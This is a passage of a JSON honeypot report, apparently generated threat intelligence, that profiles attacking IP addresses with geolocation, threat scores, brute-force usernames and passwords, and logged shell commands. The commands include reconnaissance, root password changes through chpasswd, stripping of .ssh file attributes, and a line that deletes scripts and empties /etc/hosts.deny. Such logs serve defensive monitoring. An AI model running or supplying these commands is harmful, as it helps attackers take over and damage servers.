        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": null,
      "as_org": null,
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T20:55:09.184000+00:00",
        "last_seen_30d": "2026-03-04T21:23:27.455000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 123,
        "Suricata": 32
      }
    },
    "58.10.45.192": {
      "attack_count": 122,
      "first_seen": "2026-03-24T04:53:06.093Z",
      "last_seen": "2026-03-24T11:27:42.465Z",
      "sessions": 61,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Si Racha",
      "asn": 17552,
      "as_org": "True Online",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.9,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 244,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T04:53:06.093000+00:00",
        "last_seen_30d": "2026-03-24T11:47:21.903000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 122,
        "Suricata": 122
      }
    },
    "101.36.108.81": {
      "attack_count": 119,
      "first_seen": "2026-03-14T22:45:18.480Z",
      "last_seen": "2026-03-14T23:04:39.397Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "sbbs",
        "345gs5662d34",
        "dspace",
        "elaine",
        "linuxadmin",
        "telegram",
        "user",
        "ww"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456@Aa",
        "3245gs5662d34",
        "345gs5662d34",
        "Qwe12345.",
        "a123456789.",
        "elaine123",
        "password",
        "sbbs1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"sbbs1234\\nrdJ6sZgQpDDO\\nrdJ6sZgQpDDO\\n\"|passwd",
        "echo -e \"sbbs1234\\nrdJ6sZgQpDDO\\nrdJ6sZgQpDDO\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T22:45:18.480000+00:00",
        "last_seen_30d": "2026-03-14T23:05:42.403000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "58.234.252.118": {
      "attack_count": 119,
      "first_seen": "2026-03-23T20:17:45.280Z",
      "last_seen": "2026-03-23T20:39:20.409Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "msf",
        "nuxeo",
        "345gs5662d34",
        "alfred",
        "evan",
        "kibana",
        "mgeweb",
        "simeon",
        "ttt",
        "xwiki"
      ],
      "passwords_attempted": [
        "password",
        "1234",
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Alfred123",
        "Evan123!",
        "ttt123!",
        "xwiki1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"password\\napwobIWk1V7k\\napwobIWk1V7k\\n\"|passwd",
        "echo -e \"password\\napwobIWk1V7k\\napwobIWk1V7k\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Incheon",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 25.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T20:17:45.280000+00:00",
        "last_seen_30d": "2026-03-23T20:40:28.238000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "51.89.166.236": {
      "attack_count": 118,
      "first_seen": "2026-03-02T07:37:43.908Z",
      "last_seen": "2026-03-02T08:06:19.615Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1234",
        "123412",
        "1qaz@Wsx",
        "3245gs5662d34",
        "345gs5662d34",
        "Cc123456789",
        "Pp123456",
        "bitcoin123",
        "cat123",
        "computer",
        "root001",
        "y"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:GwBaZBUcIA9A\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 148,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T07:37:43.908000+00:00",
        "last_seen_30d": "2026-03-02T08:07:23.917000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 30
      }
    },
    "64.188.83.244": {
      "attack_count": 118,
      "first_seen": "2026-03-17T08:43:24.107Z",
      "last_seen": "2026-03-17T09:02:50.027Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "adminer",
        "deployer",
        "dolphinscheduler",
        "kanban",
        "kusanagi",
        "nutanix",
        "yocto",
        "zabbix"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "Hh123456",
        "Kanban123!",
        "Support123",
        "nutanix123",
        "password",
        "test",
        "yoctopass",
        "zabbixpass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:1NSdDFS7vMHy\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 209693,
      "as_org": "Oc Networks Limited",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T08:43:24.107000+00:00",
        "last_seen_30d": "2026-03-17T09:03:53.759000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 28
      }
    },
    "101.47.162.20": {
      "attack_count": 117,
      "first_seen": "2026-03-03T23:41:58.396Z",
      "last_seen": "2026-03-04T00:24:21.607Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "123123...",
        "142857",
        "345gs5662d34",
        "Bingo@1993",
        "Centos2025",
        "Welcome2025",
        "asdf1234@",
        "khongnho",
        "lol12345"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:wTKicuPUy2RZ\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T23:41:58.396000+00:00",
        "last_seen_30d": "2026-03-04T00:25:28.671000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 117,
        "Suricata": 30
      }
    },
    "138.2.109.115": {
      "attack_count": 113,
      "first_seen": "2026-03-04T16:01:10.457Z",
      "last_seen": "2026-03-04T16:59:05.752Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1234QWER",
        "3245gs5662d34",
        "345gs5662d34",
        "Asdf1234!@#$",
        "Qazwsxedc123",
        "R00tR00t",
        "Zaq12wsx",
        "a",
        "a55555",
        "aa,./",
        "aaaa11"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:qU75mHkGzIdd\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Loyang",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 146,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T16:01:10.457000+00:00",
        "last_seen_30d": "2026-03-04T17:00:07.206000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 113,
        "Suricata": 33
      }
    },
    "167.99.213.38": {
      "attack_count": 110,
      "first_seen": "2026-03-18T09:33:05.561Z",
      "last_seen": "2026-03-18T09:54:47.856Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "123456789",
        "P@ssw0rd",
        "Root123",
        "admin",
        "admin123",
        "alpine",
        "changeme",
        "default",
        "letmein",
        "passw0rd",
        "password",
        "qwerty",
        "r00t",
        "root",
        "root123",
        "root@123",
        "toor",
        "welcome"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 158,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T09:33:05.561000+00:00",
        "last_seen_30d": "2026-03-18T09:55:50.337000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 110,
        "Suricata": 48
      }
    },
    "64.227.134.228": {
      "attack_count": 95,
      "first_seen": "2026-03-02T17:52:12.524Z",
      "last_seen": "2026-03-02T18:14:30.147Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "oracle",
        "postgres",
        "server",
        "testuser",
        "user",
        "vps"
      ],
      "passwords_attempted": [
        "root",
        "111111",
        "123",
        "321",
        "admin",
        "oracle",
        "pass",
        "password",
        "postgres",
        "qwerty",
        "root123",
        "root321",
        "server",
        "testuser",
        "user",
        "vps"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 136,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T17:51:39.921000+00:00",
        "last_seen_30d": "2026-03-02T18:15:35.086000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 95,
        "Suricata": 41
      }
    },
    "130.12.181.85": {
      "attack_count": 77,
      "first_seen": "2026-03-02T00:55:05.002Z",
      "last_seen": "2026-03-15T10:30:40.515Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "git",
        "router",
        "squid",
        "ts3server"
      ],
      "passwords_attempted": [
        "admin",
        "1234",
        "DVdmEU8usfIYEiYD9txyX",
        "NSSpassword1",
        "P@ssword123!@",
        "admin!@#",
        "comtom@2019",
        "qwerty123",
        "squid",
        "user2017",
        "welcome"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 36680,
      "as_org": "Netiface LLC",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1738,
        "days_active_30d": 30,
        "ports_targeted_30d": 270,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T00:54:42+00:00",
        "last_seen_30d": "2026-03-31T23:40:23.247000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1227,
        "Honeytrap": 401,
        "Cowrie": 77,
        "Heralding": 20,
        "Adbhoney": 6,
        "ConPot": 4,
        "Mailoney": 3
      }
    },
    "134.199.150.117": {
      "attack_count": 75,
      "first_seen": "2026-03-14T07:30:57.400Z",
      "last_seen": "2026-03-14T07:49:46.170Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "111111",
        "123",
        "123123",
        "1234",
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "abc123",
        "admin",
        "password",
        "qwerty"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 108,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T07:30:57.400000+00:00",
        "last_seen_30d": "2026-03-14T07:50:53.563000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 75,
        "Suricata": 33
      }
    },
    "206.189.124.215": {
      "attack_count": 75,
      "first_seen": "2026-03-16T13:32:12.598Z",
      "last_seen": "2026-03-16T13:48:01.799Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123qwe",
        "123qwerty",
        "21",
        "321",
        "4321",
        "54321",
        "654321",
        "qwerty",
        "root",
        "root1",
        "root12",
        "root123",
        "wasd"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 16.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 108,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T13:32:12.598000+00:00",
        "last_seen_30d": "2026-03-16T13:49:02.308000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 75,
        "Suricata": 33
      }
    },
    "170.64.238.192": {
      "attack_count": 70,
      "first_seen": "2026-03-14T13:20:09.757Z",
      "last_seen": "2026-03-14T13:33:27.123Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "administrator"
      ],
      "passwords_attempted": [
        "123456",
        "P@ssw0rd",
        "admin",
        "admin123",
        "admin2026",
        "administrator",
        "administrator123",
        "letmein",
        "passw0rd",
        "password",
        "qwerty",
        "welcome"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T13:20:09.757000+00:00",
        "last_seen_30d": "2026-03-14T13:34:28.684000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 70,
        "Suricata": 31
      }
    },
    "209.38.29.70": {
      "attack_count": 70,
      "first_seen": "2026-03-11T05:10:43.995Z",
      "last_seen": "2026-03-11T05:28:57.476Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "111111",
        "123123",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "admin",
        "password",
        "password1",
        "qwerty",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T05:10:43.995000+00:00",
        "last_seen_30d": "2026-03-11T05:30:03.471000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 70,
        "Suricata": 31
      }
    },
    "103.244.172.226": {
      "attack_count": 50,
      "first_seen": "2026-03-10T04:39:19.182Z",
      "last_seen": "2026-03-10T04:44:43.584Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 9.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T04:39:19.182000+00:00",
        "last_seen_30d": "2026-03-10T04:45:46.349000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "103.26.86.72": {
      "attack_count": 50,
      "first_seen": "2026-03-14T00:51:53.850Z",
      "last_seen": "2026-03-14T00:57:18.251Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 13.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T00:51:53.850000+00:00",
